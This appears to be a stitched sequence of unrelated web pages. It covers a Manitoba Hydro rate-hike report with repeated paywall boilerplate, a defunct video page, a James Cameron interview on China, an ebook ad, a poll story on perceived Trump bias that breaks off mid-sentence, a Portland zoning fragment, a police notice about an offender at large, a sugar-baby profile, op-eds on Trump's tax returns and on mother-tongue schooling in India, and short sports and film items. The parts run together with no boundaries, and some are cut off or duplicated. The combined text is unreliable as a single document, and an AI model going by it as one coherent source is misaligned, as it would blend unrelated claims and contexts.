*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
The PUB rejected the request and tied strings to how the increase it is permitting can be used. The regulator said the added revenues must be placed in a deferral account established a few years ago to cushion future consumer rate hikes because of the $5 billion Bipole project.
Manitoba Hydro, which is facing a huge debt due to the ongoing construction of the Keeyask Generating Station and the Bipole III transmission line, had requested a 7.9 per cent increase.
Manitoba Hydro has received permission to boost consumer electricity rates by 3.36 per cent — less than half the increase it sought.
Hey there, time traveller! This article was published 31/7/2017 (575 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 31/7/2017 (575 days ago), so information in it may no longer be current.
Manitoba Hydro has received permission to boost consumer electricity rates by 3.36 per cent — less than half the increase it sought.
The Public Utilities Board ordered the interim rate hike late Monday afternoon. It takes effect today.
Manitoba Hydro, which is facing a huge debt due to the ongoing construction of the Keeyask Generating Station and the Bipole III transmission line, had requested a 7.9 per cent increase.
The PUB rejected the request and tied strings to how the increase it is permitting can be used. The regulator said the added revenues must be placed in a deferral account established a few years ago to cushion future consumer rate hikes because of the $5 billion Bipole project.
In a 29-page order, the PUB said its decision was not unanimous. One board member, who was not named, objected to any increase at all for Hydro until the PUB conducts public hearings this fall and issues a permanent order.
The PUB noted that Manitoba Hydro’s financial situation for the current fiscal year and the next fiscal year has improved by $119 million compared with what it forecast in 2016.
"We are pleased that the PUB recognized the need for an interim rate increase," said Kelvin Shepherd, president and CEO of Manitoba Hydro.
"However, we are concerned that the PUB has not taken quicker action to begin to address the serious financial challenges and risks facing Manitoba Hydro. This order gives the PUB more time to review our full rate application and consider all the evidence on some very important issues that we believe need to be addressed in any final rate decision."
Byron Williams, a lawyer representing the Manitoba branch of the Consumers Association of Canada, said it’s clear the PUB listened to the wishes of thousands of Manitobans who voiced their opposition to Hydro’s request.
"Certainly from our client’s perspective, the interim order provides independent confirmation that Hydro’s claims of imminent financial catastrophe are materially overstated," he said.
At the same time, the 3.36 per cent increase "still imposes significant hardship on stressed household budgets, including our most vulnerable citizens" and those who use higher amounts of electricity and have no other means of heating their homes, Williams said.
He said Manitoba Hydro has to come to grips with "new market-place realities" and bring "modern, rational management" to its day-to-day spending and its large capital expenditures. "Manitoba consumers should not have to pay the price for poor hydro management decisions," he added.
On Friday, Manitoba Hydro reported a $71-million profit for the fiscal year ending March 31, 2017. It said $20 million of that total came from a land sale to the City of Winnipeg for the construction of the southwest transit corridor.
The Crown corporation is also projecting a $92-million profit for the current fiscal year.
The PUB said it did not consider the 2016-2017 Hydro financial statements in setting the interim rate; however, it will take them into account when it decides on a permanent rate.
The PUB noted that since its last interim rate order in 2016, the cost of the Bipole III transmission project has escalated by $389 million.
"This capital project is largely being debt financed," the PUB said in its order. "There will be significant annual financing costs in addition to annual depreciation expense after Bipole III comes into service in July of 2018."
Shepherd explained that Manitoba Hydro needs additional revenue to fully fund its operations, including investing in the replacement and upgrading of its aging infrastructure. Additional revenue would also help the utility withstand the risks of rising interest rates and drought.
Want to get a head start on your day? Get the day’s breaking stories, weather forecast, and more sent straight to your inbox every morning.
"With our debt already having increased to $16 billion and scheduled to grow by another $8 billion over the next five years, it’s imperative we increase our financial capacity to fund our ongoing operations, rebuild equity in our company, and have sufficient free cash flow to ensure that our debt is considered self-sustaining," said Shepherd.
In addition to seeking a 7.9 per cent hike for the current year, Hydro has also let it be known it wants to see rates go up by just under eight per cent for the next four years.
The PUB, in its ruling, seemed to question Hydro management’s timetable for improving the corporation’s debt-equity ratio. Hydro is seeking to achieve a 25 per cent equity level within 10 years, while the PUB noted that in the past it set a 20-year target.
larry.kusch@freepress.mb.ca
jane.gerster@freepress.mb.caThis video is no longer available
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
Rogue Legacy: Narwhal // Lord Bif Cover
Upload date:
December 12 2016
Uploaded by:
Lord_Bif
Video description:
Here we go for a different game! The theme I covered this time is from the game "Rogue Legacy", I spent a lot of time in it! It's the theme of the level "The Maya", it's called "Narwal", and it's one of my favorite theme in the game. Rogue Legacy's OST is composed by the great and talented Gordon McGladdery and Judson Cowan. Enjoy! Guest: Vled Tapas, Speedrun on screen from SmiteSA Tipeee: https://www.tipeee.com/lord-bif-music Twitter: http://twitter.com/LordBifMusic Facebook: http://www.facebook.com/pages/Lord-Bif-Music/1496042640666811 #roguelegacy #videogamecover #cover #guitarcover #videogames #jeuvideo #musiccover #musicvideo #videogameremix #remix #originalsoundtrack
Total views:
408Jonah M. Kessel for The New York Times
BEIJING – James Cameron, director of “Titanic” and “Avatar,” among other well-known movies, visited Beijing in mid-April for the Beijing International Film Festival. The festival was screening the 3-D version of “Titanic,” which had recently opened in theaters here. More important, Mr. Cameron was here to meet with people in the Chinese film industry to talk about doing joint productions and getting greater distribution for his 3-D films, which use technology developed by Cameron Pace Group, or C.P.G.
China has a strict limit on the number of foreign films allowed to be shown in theaters here, although that number was raised in February when Chinese officials announced an agreement with Hollywood studio executives during a trip to the United States by Xi Jinping, the vice president and presumed next leader of China (and reportedly a fan of Hollywood World War II films).
On April 22, the day after his arrival in Beijing, Mr. Cameron talked about his projects and the Chinese film industry in an interview with The New York Times and The Economist. (The interview took place before it was reported that regulators in the United States were looking into whether American studios might have made improper payments to Chinese officials, so that was not a topic of discussion). Edited and condensed excerpts from the interview follow.
Q.
Can you tell us a little bit about your interactions with the Chinese film industry? I know you’re here partly to promote the technology and to see where the Chinese filmmaking landscape is in terms of using this technology.
A.
Not just filmmaking but broadcast. Everybody just assumes, probably most people know me internationally as a filmmaker, but domestically in the U.S. as co-chairman of C.P.G., most of our business is broadcast. And China has potentially this enormous 3-D broadcast market — unexplored as of right now, to my knowledge, and I just need to know more. I need to know more about it and find out if there are people here who believe as I do that this is where broadcast can and should be going.
Q.
Xi Jinping is a movie buff. He’s talked about American war movies. So are you meeting with him?
A.
I’m not saying anything about who I’m meeting with, but I am in meetings and explorations on a couple of subjects. One is 3-D, both for the filmmaking community and for the broadcast community. And these are very, very preliminary, from my perspective anyway. And the other one is a possibility of co-production here, possibly even to the extent of some kind of technology exchange — bringing over our 3-D technology and things like that. There are a lot of things I want to look at as possibilities. Because it’s such an exciting market that’s growing so rapidly. There’s a lot that I also have to know about – government restrictions and so on. That would apply to the co-production issues, with respect to content, censorship, content requirements, Chinese content and so on.
Q.
As everybody has already seen, you experienced a small taste of that with “Titanic.”
A.
Well, “Titanic” is actually censored less this time than it was in ’97. Because it was their second bite at the apple. It’s gotten much wider and we’re seeing it being less restrictive. So we’re moving in the right direction. The quotas for international films coming in now, it’s a higher quota, the percentage of revenue is higher, so everything is moving in the right direction. You see the market opening up. And I think that that’s having a beneficial effect in that it’s growing the exhibition market internally, if you look at how rapidly theaters are being built here. Eight a day, I’ve been told? Eight theaters a day?
Q.
Are you a fan of Chinese filmmakers? Do you have a few that you like?
A.
I think I like the ones that everybody likes, that we know in the West. You know, Zhang Yimou and, I can never remember, Chen Kaige. But I’m not a student.
Q.
I’m interested in storytellers that you admire. They don’t have to be Chinese. If you could talk a little bit about the films that you are looking to these days, whatever you find inspirational. …
A.
I don’t find my inspiration in movies. I find my inspiration in life – in the natural world, in daily life. There are filmmakers that come along that are quite iconoclastic. And that I’m in awe of, frankly. Zack Snyder’s “300.” I think that was a really revolutionary film, because it was a completely deconstructive form of filmmaking in a way that nobody had done before, other than maybe Robert Rodriguez. That’s inspirational to me. Zhang Yimou’s films are inspirational to me. I have to see them multiple times to really see how he’s doing it and what exactly he’s doing that seems to work so well. So as a fan of film, there are certain films that come along that are just stunning to me, and I’ll study them.
Q.
Who are you in awe of?
A.
I just gave you three examples. You know, there’s the old guard. You know, Spielberg, Kubrick and all that sort of thing. But in terms of new filmmakers, up and coming, I haven’t seen anybody that blew me away in the last year or so.
Q.
What about scripts that you’re looking at? Is there a project that you’re working on right now? Or subject matters or general areas of interest that you’re looking at?
A.
That’s interesting. I’ve divided my time over the last 16 years over deep ocean exploration and filmmaking. I’ve made two movies in 16 years, and I’ve done eight expeditions. Last year I basically completely disbanded my production company’s development arm. So I’m not interested in developing anything. I’m in the “Avatar” business. Period. That’s it. I’m making “Avatar 2,” “Avatar 3,” maybe “Avatar 4,” and I’m not going to produce other people’s movies for them. I’m not interested in taking scripts. And that all sounds I suppose a little bit restricted, but the point is I think within the “Avatar” landscape I can say everything I need to say that I think needs to be said, in terms of the state of the world and what I think we need to be doing about it. And doing it in an entertaining way. And anything I can’t say in that area, I want to say through documentaries, which I’m continuing. I’ve done five documentaries in the last 10 years, and I’ll hopefully do a lot more. In fact, I’m doing one right now, which is on this, the Deep Sea Challenge project that we just completed the first expedition. So that’ll be a film that’ll get made this year and come out first quarter of next year.
Q.
“Avatar,” of course, said a few things in terms of your world view, including on the environment. And here of course, it was interpreted differently as being about China. Some people online and fans took a kind of political overlay that applied here.
A.
Yeah, I’m not too aware of the nuances of that. Other than that there was speculation that it might be problematic for the government, seen as criticism of a resource-hungry nation. Except all the developing or developed nations on the planet are resource-hungry. So the same perspective was in Russia, Europe, Canada and the U.S. I got the biggest political blowback in the U.S., because frankly the U.S. is the most medieval right now when it comes to climate change and the role of business in compromising and devastating the natural world. Way behind Europe.
Q.
How far are you along in working on the “Avatar” sequels?
A.
We’ve spent the last year and a half on software development and pipeline development. The virtual production methodology was extremely prototypical on the first film. As then, no one had ever done it before and we didn’t even know for two and half years into it and $100 million into it if it was going to work. So we just wanted to make our lives a whole lot easier so that we can spend a little more of our brainpower on creativity. It was a very, very uphill battle on the first film. So we’ve been mostly working on the tool set, the production pipeline, setting up the new stages in Los Angeles, setting up the new visual effects pipeline in New Zealand, that sort of thing. And, by the way, writing. We haven’t gotten to the design stage yet. That’ll be the next.
Q.
Would any part of the sequels – I mean two, three, or a possible four – be done partly in China?
A.
It’s conceivable. You know, one of the things I want to explore while I’m here is the idea of co-production on those films, but it’s a slightly different case because they’re studio films. There were zero… I can’t say zero exteriors. We did one night in the parking lot next to the sound stage. But there were no locations.
Q.
So what’s the advantage of doing a co-production at all in China? I mean, your movie’s going to make money, you don’t need the financing….
A.
It’s a major market. Possibly within this time scope of these two films, certainly by the time of the third film, it may rival the U.S. domestic market, if not surpass it. And there are economic advantages with respect to the percentage of gross revenue that flows back. So that needs to be weighed off against what it would cost us to set up our capability here. We’d have to take our capability with us to do the virtual production. The 3-D production is easy. That’s flight-ready to go anywhere in the world, so that’s not an issue. When I say 3-D, I’m talking about the cameras. With my C.P.G. hat on, my Cameron Pace Group hat on, we can put fly packs anywhere in the world to support up to 30 or 40 cameras. We can do it right now. Mobile units and all that sort of thing. So that’s not an issue. That could come here easily, and that might be very beneficial to the Chinese resident film community because the crews would get trained up on this equipment. They would have access to cutting-edge stuff, so that’s partly how we sell our position. But we’d have to bring over our virtual production capability with us. And again, that’s mobile. We took it with us to New Zealand last time. So it’s all doable. It’s just looking at the numbers.
Q.
Some American businesses have expressed reluctance in doing technology transfer here in China because then they’ll lose the proprietary technology. And they feel the Chinese competitors might create products that compete with theirs in the market. You’re so closely associated with this technology, so I’m just wondering whether you have any thoughts on this?
A.
I think that there’s certainly always that danger. But we’ve found that people have tried to imitate us in the past and it usually comes to grief, because they can’t continuously invest in R.&D. So they’ll create a rig. Well that rig then becomes fixed in time at the moment they create it. We’ve got many, many clients across broadcast and cinema. So that allows us to continuously do engineering development of the next generation. And our generations are three to six months apart. Nobody can compete with that. So what we find is that our partners just say, “Look it’s better for us to just do business with you because you’re already ahead.” We’ve seen people buy rigs and then be mired three or four years down the line in that moment of technology, and we’ve gone four generations past that. If it’s embraced here and there’s a big enough market for it, there may be other companies that spring up. But you’re not going to be able to replace 12 years of experience overnight. So I think it’s a question of being first to market with quality and good, solid partnerships. And after that we just have to see where it goes.
Q.
Is it fair to say then that when you’re exploring the possibility of co-production, that includes the next one, “Avatar 2?”
A.
Yeah, absolutely. Sure.
Q.
You must have had people talk to you to give you a briefing on the censorship process, about how it works or how it’s affected certain films here. Do you have any general thoughts on that?
A.
As an artist, I’m always against censorship. But censorship’s a reality, even in the U.S. We have a form of it there. We used to have the Hays commission. We now have the M.P.A.A. ratings system, which is basically a self-censorship process that prevents government from doing it. But the economic imperatives are that if you get an R rating, the studio won’t make a film that looks like it’s headed toward an R rating, and if you get a R you’ve got to cut it yourself to comply with PG-13. So it’s really just a form of censorship indirectly.”
Q.
Do you consider that the same as Chinese censorship?
A.
You’ve got a little more choice in it. It’s not as draconian. But I can’t be judgmental about another culture’s process. I don’t think that’s healthy.
Q.
Did you talk to other filmmakers – your peers – about Chinese censorship?
A.
No. I’m not interested in their reality. My reality is that I’ve made two films in the last 15 years that both have been resounding successes here, and this is an important market for me. And so I’m going to do what’s necessary to continue having this be an important market for my films. And I’m going to play by the rules that are internal to this market. Because you have to. You know, I can stomp my feet and hold my breath but I’m not going to change people’s minds that way. Now I do feel that everything is trending in the right direction right now, as I mentioned earlier.
Transcribed by Anastasia TaberStop Being To Busy To Eat On Time…Now!
Canning;
Curing and Smoking;
Dehydrating;
Freezing;
Pickling;
And making jams, jellies and marmalades
Download your copy today!
Are you always frantically rushing to work or school every morning? Do you often find yourself choosing to skip lunch to be more productive? Worse, are you too exhausted to even prepare and eat dinner?Regularly missing meals just to keep up with your busy and productive schedule puts you at high risk of not only becoming less productive over time, but also of becoming sick often and worse…permanently.Now, you don’t have to skip eating just to be productive. Why not prepare your food ahead, preserve them and eat them at your most convenient and quickest time? Now, you can do that by downloading this recipe book and learn how to preserve foods by:Stop using your busyness as an excuse to skipping meals and start eating on time. Download this book now and start eating your way to continued productivity and lower health risks by learning how to preserve food for convenient storage and consumption.To order, click the BUY button and download your copy right now!Tags: Food Canning, Canning, Freezer, Food Storage, Preservation, Food Preservation, Self Sustained LivingThen-candidate Donald Trump kissed a “Women for Trump” sign during a campaign rally last year, in Lakeland, Fla. (Evan Vucci/AP)
One of the most remarkable details from 2016 polling was that, before Election Day, a larger than you might expect portion of Donald Trump’s voting base thought he was racist.
Suffolk University polling from August 2016 found that 7 percent of those who planned to vote for Trump thought he was a racist, full stop. More than 25 percent Republicans in polling conducted in the same time period said they thought that Trump’s rhetoric appealed to bigotry, according to Quinnipiac University polling.
Polling in August 2016 from The Washington Post and our partners at ABC found that about 20 percent of Republicans (including a slightly higher percentage of women) thought Trump was biased against women and minorities. By that September, the figure had jumped to more than a quarter of Republicans — and 60 percent overall.
A new Post-ABC poll, released on Sunday, revisits that subject. The question was broken into two parts, asking respondents if they believed Trump was biased toward women and asking if he harbored bias against black people.
After Trump’s nearly 10 months in office, including a number of high-profile incidents involving race, more than half of Americans think that Trump is biased against women. Fifty percent think he’s biased against black people.
It’s hard to compare that to the 60 percent figure from September 2016, since the question then was, “Do you think Trump is or is not biased against women and minorities?” That includes more than just women and black Americans and also overlaps the two groups. A bit less than half of respondents to our new poll believed that Trump was biased against both women and black people; 60 percent of respondents believed that he was biased against either women or black people.
As you might expect, there were splits in perceptions of Trump’s bias on gender and racial lines. Women were more likely to think that Trump was biased against women, for example. But notice, too, that black people and, to a lesser extent, Hispanic respondents were also much more likely to say that Trump was biased against women. Forty percent of white men think Trump is biased against women; more than half of white women do.
It’s difficult to fully extricate this from partisanship, of course. Most Democrats think Trump is biased against women; most Republicans don’t. Notice, too, the long-standing split among white respondents based on education.
Half the country thinks that Trump is biased against black people, including nearly 75 percent of black Americans. Interestingly, though, black Americans are more likely to say they think Trump is biased against women than black people (though the margin of error is large). Of the groups listed on these charts, |
be done over because of the undeclared potential conflicts.
"It is imperative to pull all aspects of the height increases and review them with a new, independent group," testified Michael Mehaffy, executive director of the Portland-based Sustasis Foundation.
That did not happen, however. Only two commission members even responded to the criticism. Alternative transportation activist Chris Smith, who was chairing the hearing, said "sunshine" is the best policy after Mehaffy's comments. And vice chair Andre Baugh said he would like more information on the issue, "if there is a legal problem."
Instead, the commission approved the update without taking any further action on the issue on May 23 of this year and forwarded it to the City Council for final consideration.
Since the council first began its hearings on CC2035 on Sept. 7, several witnesses have echoed Mehaffy's testimony and said the potentially conflicted proposed height increases should be reexamined. It is difficult to separate their concern over the undeclared conflicts with the proposed increases, however — most also oppose many if not most of them, arguing that such taller buildings will harm the character and livability of the downtown area.
For example, during the first council hearing, Wendy Rahm, a retired professor who serves on the board of the Architectural Heritage Center, called for a new committee to be created to review the potentially conflicted properties. But she also called for building heights to be limited to 100 feet in part of the area to preserve their sense of place.
It is unclear how much time a property-by-property review of the potentially conflicted parcels would add to the council's schedule for approving the update. Additional council hearings and other deliberations are already expected to span more than six months.UPDATE: Vancouver Police say Galt is back in police custody.
A high-risk offender is at large after failing to return to his Vancouver half-way house.
A Canada-wide arrest warrant has been issued for 47-year-old Richard Thomas Galt who is serving a sentence of three years, eight months, and 14 days for uttering threats, break and enter, failing to comply with his probation, and being unlawfully at large.
This is the second time in 14 months Galt has not returned to his half-way house, resulting in a Canada-wide warrant. He was reported at large on May 12, 2015 and apprehended two days later in Abbotsford.
Galt has four prior convictions of sexual assault with victims being both female children and adults. He has also been convicted of assault, driving while disqualified, obstruction, failure to comply with court orders, unlawfully in dwelling house, break and enter, theft, robbery, uttering threats, impersonating a peace officer, and mischief.
Vancouver Police say Galt is Aboriginal, 5-feet-10-inches, 240 pounds, with salt and pepper hair and brown eyes. He was last seen wearing a black leather jacket, black jeans, and a white t-shirt. He also has tribal tattoos on his right forearm and a wizard and a grim reaper on his left forearm.
Anyone who sees Galt is asked not to approach him and call 9-1-1 immediately.LAVISH yacht parties, dinner in fancy restaurants and shopping for designer handbags — for Jeanemarie Almulla this is just another day in her not-so-ordinary life.
But the 25-year-old, who lives in Miami, doesn’t work around the clock in a stressful job to fund her extravagant lifestyle — she bankrolls it with bags of cash from her sugar daddies, reports The Sun.
But, while she’s happy to use men for their money, Jeanemarie describes herself as a feminist and a champion of women’s rights.
She’s even written a self-help book on empowering young girls as well as working with Palestinian refugees in Lebanon and talking at Girl Scout meetings.
She explained: “When I was 15 I started competing in beauty pageants and actually won Miss City Beautiful Teen and Miss Avaloq Park Teen USA.
“They ask you to have a platform. A lot of girls chose breast cancer awareness, animal rights. I chose learning how to love yourself.
“I started this organisation called Empowering Young Girls and I write a book that I give to Girl Scouts, called Footsteps of Confidence.”
Jeanemarie, who speaks three languages and has a degree in International Relations, doesn’t see any conflict of interests between her life as a sugar baby and her work with women.
“Being a sugar baby is just knowing that you are valuable,” she said.
When she was 17, Jeanmarie was sent to live with her dad’s family in Abu Dhabi for seven months.
Forced to wear a hijab and unable to leave the country after her uncle confiscated her passport, Jeanemarie was due to marry a sheik in an arranged marriage.
She managed to escape back to the US after her mum intervened.
She said: “She flew to see me and told them she was taking me to the mall and then we left and came back to America.
“I think that really shaped who I am today. Because I was forced to cover up. It’s a symbolism of my freedom to show my skin.”
Jeanemarie was introduced to SeekingArrangement, a sugar daddy website, by a friend in 2015 after splitting from her husband.
“At first I was like, honestly I’m not going to do this, I don’t believe in it but it honestly saved my life. It sounds stupid to people but I had nothing,” she said.
“My ex-husband was a club promoter — every night he was drinking and partying. I was crying every day. I had to get out but I had no money — he controlled all the finances.
“I’d just graduated from Florida State University and I had debt up to my eyeballs and nowhere to go.
“I knew I had to get out. He was getting belligerent, he threw a TV at me — so one day I just left the house and slept in my car.
“A friend let me stay with her couple of weeks and said you need to go on SeekingArrangement — there’s no other job that you’re going to get where you can afford an apartment in Miami Beach.”
On her first date with a sugar daddy, Jeanemarie was given £800 ($1000) to “start over”.
She explained: “I realised this is one guy and there are hundreds of other guys in Miami who will find me attractive, take me out to dinner and want to help me.”
Jeanemarie believes her unconventional way of making money is smart and insists she is simply making the most of her looks and intelligence. She urges other women to do the same.
“You just have to love yourself and follow your dream. If you are sitting at that 9-5 job and you hate your life, quit it because when you do what you love, life is fun,” she said.
“I have no problem with working hard but I’d rather work smart. Men are supposed to be caregivers and take care of women.
“My friends pick me up on their jet ski and take me to their yacht parties — how could I ever work in an office after that?”
Jeanemarie is currently dating three sugar daddies and receives between 60 to 100 messages from potential suitors a day. She doesn’t care what her critics say.
“I went from being married to a guy who just used me for a green card to living on my own in a penthouse looking over the water,” she said.
“I really don’t care what people think. But what do they think? They think I’m smart. They think I’m a genius.”
She also slammed claims that sugar daddies want to hook up with young girls for sex.
“These guys don’t want sex; if they did, they would go to an escort or a prostitute. They want conversation, they want someone that they can go to dinner with,” she said.
“Why shouldn’t they help you? A lot of people confuse it with prostitution. A prostitute is someone who shows up, does a job, takes money and leaves.
“A sugar baby is nothing like that, a lot of the time sex isn’t involved, it’s not expected.
“You just have a friend who helps around and takes care of you. You go to nice dinners and you go on private planes and you go on yachts, you go to cool parties and you have awesome designer bags and it’s fun.
“I have never paid for a drink, I never will. O.P.M — other people’s money.”
Jeanemarie insists she appreciates her flashy, privileged life.
“I know what it’s like to have nothing. I have lived in my car. When I first got to Miami, I came here with nothing,” she said.
“I’ve lived in Lebanon and got to teach Palestinian refugees English for a non-government organisation. So to now be able to sit in my jacuzzi and look at the beautiful scenery, is like a dream come true.”
Meanwhile, a 20-year-old sugar baby has previously revealed she gets rich, older men to fund her studies.
While a sugar baby boy lives the high life thanks to money for loaded, mature women.
This article originally appeared on The Sun and was reproduced with permissionSince at least 1980, every presidential nominee, Republican and Democrat, has released their tax returns.
Some have released only a year or two, and some have released more. Hillary Clinton has released her returns dating back to 2000.
While all of us cherish our privacy and would understandably not choose to share the financial details of our lives with strangers – or even our friends – none of us has been nominated for the most powerful position in the world. That changes everything. And it should.
I can remember as a child hearing my parents say that nothing revealed more about a person’s character than how they handled wealth and power. Whatever you think about Bill Gates, Ted Turner or Warren Buffet, they have chosen to give away billions for a greater good. Many wouldn’t.
I remember hearing Bill Gates Sr. several years ago on NPR discussing estate taxes and whether he thought they were too high. To my surprise he expressed no opposition to the rates that many wealthy people were railing against. In fact, he said that America had made his family’s great wealth possible and that he was fine with a healthy estate tax upon his death. He thought it only fair. You don’t hear that very often.
Power has its responsibilities, too – especially great power. Nowhere is that more true than with an American president.
Our president, regardless of party, is understood to be the embodiment of who we are as a people and what we value. Because of that unique role, it is always important in the selection process to separate a nominee’s rhetoric from their heart-felt beliefs, to find out if what they say and what they do are consistent or not.
Tax returns are one of several helpful tools in making that assessment.
Returns have been readily available for voters to examine for almost 40 years – until this year when Donald Trump refused.
He has repeatedly said he can’t release his returns because they are under audit by the IRS. As we all now know, the IRS has no prohibition on their release but still he persists in hiding his returns from public inspection. So why not release them?
As Mitt Romney, a fellow Republican, recently asked, “What is he hiding?”
In this election cycle, Trump has boastfully and repeatedly told us how wealthy he is, how incredibly rich and successful he has been (despite his multiple business bankruptcies). He’s not bashful about that.
He has harshly criticized companies for moving jobs overseas and implicitly questioned their patriotism. He promises to bring jobs back to American soil. He has told the middle class that they are not moving ahead, that our tax system is unfair and that taxes for everyone are too high. He has criticized those who “off shore” their money to avoid paying their fair share of American taxes.
So how does he measure up using his own scorecard? He won’t tell us.
We have recently learned, however, that some of the products bearing his name and from which he profits are made in China. Seems like hypocrisy to me. Will he be bringing those jobs back to America, too?
So what else would we learn if he did what Hillary Clinton has consistently done and released his tax returns?
We could see whether Trump’s annual income matches his boasts, what deductions he claims that the rest of us don’t get, whether his effective tax rate is lower than that of most hard-working Americans he says he champions, what tax shelters he has for his money, whether he has any money parked overseas, whether he makes any significant donations to charity, especially to veterans whom he so publicly embraces and what loans he carries.
That Trump claims secrecy (based upon a falsehood) that no nominee in either party has claimed since 1980 should give all of us pause, regardless of our party or politics. He does, after all, want to be our president.
I thought transparency was part of his campaign to “make America great again.” Maybe he’s exempt.
(John T. Broderick Jr. is a former chief justice of the New Hampshire Supreme Court.)On November 5, 2016 the National Council of Educational Research and Training (NCERT) has said (http://www.hindustantimes.com/education/students-should-be-taught-in-their-mother-tongues-till-class-8-suggests-ncert/story-Nr9iTMo0AHW9J7hcI05YkM.html) in its inputs for the draft national education policy of the Indian Government that students should be taught in their mother tongue till class VIII. A case for more emphasis on Indian languages in our education system cannot be expressed in any lesser manner.
It cannot be denied that in today’s global village, we need English more than any time before but that should not necessarily imply English as medium of instruction from the pre-primary level.
A social experiment (http://www.bbc.com/news/magazine-33060450) establishes that cultural rootlessness creates lifelong misery for the uprooted: The children who had been provided finest education but been taken away from their cultural background, ended up in a wretched life as opposed to the expected outcome of their being highly productive. Our culture is intertwined with our mother tongue. Ignorance about own mother tongue or forced acceptance of English as a virtual mother tongue implies blindness to our ancestors’ thoughts, which is rootlessness.
Some are quite skeptical about the above idea of linguistic essentialism. They argue that the ideas are important not the language of our usage. Studies —for example Keith Chen’s work (https://www.ted.com/talks/keith_chen_could_your_language_affect_your_ability_to_save_money?language=en)—have demonstrated that use of a particular language creates a particular behavioural pattern among the users of the language. Therefore, our behaviours cannot be language-neutral. Our culture which guides our social and individual behavioural codes, need the matrix of our mother tongue for survival.
What are the ground realities today? The middle class in India are sending their wards to almost exclusively English medium schools, largely affiliated to the Central Board of Secondary Education (CBSE). In the non-Hindi speaking regions, the children are foisted upon to learn two alien languages, English and Hindi, from their pre-primary level. We are raising our children who are often taught their mother tongue as a rather neglected third language!
Indian languages that have a rich history, are struggling to remain relevant as our educated class is increasingly becoming ignorant about own languages. The elites define the direction of any society—the other sections of the society are likely to follow suit in this move away from mother tongue. Chances are high that most of the Indian languages will become irrelevant as vehicles of education in another generation or two. Our education system is slowly but surely facilitating language-cide of all Indian languages.
What is the benefit of our English medium education to our children? “Welfare of students should be the ultimate aim of education and they should not be used for any other purpose,” Bertrand Russel, the renowned educationist, noted. Is our English medium education being true to that objective?
As a matter of fact, Sankrant Sanu, an entrepreneur holding six technology patents, describes (http://www.amazon.in/English-Medium-Myth-Dismantling-barriers/dp/9384129194/ref=sr_1_1?s=books&ie=UTF8&qid=1478428677&sr=1-1&keywords=The+english+medium+myth) his experiment he conducted in Indian villages. He found that rural Indian children who study in the Hindi medium outperform their English-medium trained urban counterparts in language-neutral IQ tests. The English medium education seems no welfare-augmenting for Indian urban children. The importance of this evidence is mind-blowing if we consider that the children taught in the English medium education often enjoy the best teachers, the best infrastructure and the best parental support for education.
It is, therefore, a foregone conclusion when Sankrant Sanu shows the macro picture is consistent with his micro experiment: twenty richest countries—countries like Japan, Denmark, France and Korea— all educate their children in their own mother tongue; most of the twenty poorest countries use a foreign language for teaching their children.
Our education has been reduced to making a simple thing complex through being taught in an alien language. We have reduced the scope of education from development of human capabilities to learning of a foreign language.
Let us practise equality in sending our wards to schools. We must abolish the dichotomous system of schooling for the affluence and not-so-affluent. Let all our children be taught in the mother tongue (at a minimum) up to the primary level. English must be taught only as a second language at least till the primary level. We must not restrict the third language to Hindi but open it to other Indian languages. Let a north Indian child learn a south Indian language in the school and vice versa.
5 per cent of India population live in a different state than the one they were born into. Often the wards of this migrant population grow up without deeper knowledge about their own mother tongue. For these Children, schools can encourage teaching of their own mother-tongue as a second language rather than Hindi.
The economy of tomorrow will be a knowledge economy. And, knowledge is not about cramming plethora of information but facilitating manifestation of our inner potential. Education through mother tongue works best in enshaping the child’s inner potential.
The author is Associate Prof, Economics at IIM-Kozhikode. Read the unabridged edit on dnaindia.comMichael Owen was twice thrown off his horse as he stepped up preparations for his racing debut by riding out at Newmarket's British Racing School.
The former Liverpool striker will ride in a seven-furlong contest at Ascot on 24 November, to raise money for the Prince’s Countryside Fund.
Owen will do well to stay in the saddle on this evidence however, and after being put on his backside he admitted perhaps this racing lark was not as easy as he thought.
“Today was really insightful and, if anything, it has brought me on a lot but also put me back a couple of strides because it was the first time I’ve fallen off of a horse – twice!” Owen admitted to the Prince’s Countryside Fund.
“It’s made me think that they’re not machines. I’ve been doing some practice back at home and it felt very easy and I thought I would breeze it. Today, there’s been wide open spaces, horses you don’t know and it’s been very, very different. It’s made me think to myself that I need to do some hard work between now and Ascot.
“We’ve learned a whole range of different skills and obviously part of that was sitting on horseback, doing a bit of walking, trotting and cantering, which were very different from what I’m used to. It was a big learning curve.”Warner Bros. has moved back Ron Howard’s “In the Heart of the Sea” by nine months from March 13 to Dec. 11.
Chris Hemsworth stars as the first mate of the besieged New England whaling ship Essex in the film about the 1819 attack on the Essex by a mammoth whale that inspired Herman Melville’s “Moby Dick.”
Benjamin Walker, Cillian Murphy, Ben Whishaw, Tom Holland, Brendan Gleeson and Jordi Molla also star. The movie is based on Nathaniel Philbrick’s book “In the Heart of the Sea: The Tragedy of the Whaleship Essex.”
Village Roadshow co-produced and co-financed “In the Heart of the Sea,” which is the only title on the Dec. 13 date. Producers are Joe Roth, Paula Weinstein, Will Ward, Brian Grazer and Ron Howard.
Warner Bros. has also moved Liam Neeson actioner “Run All Night” forward a month into the March 13 slot from April 17.
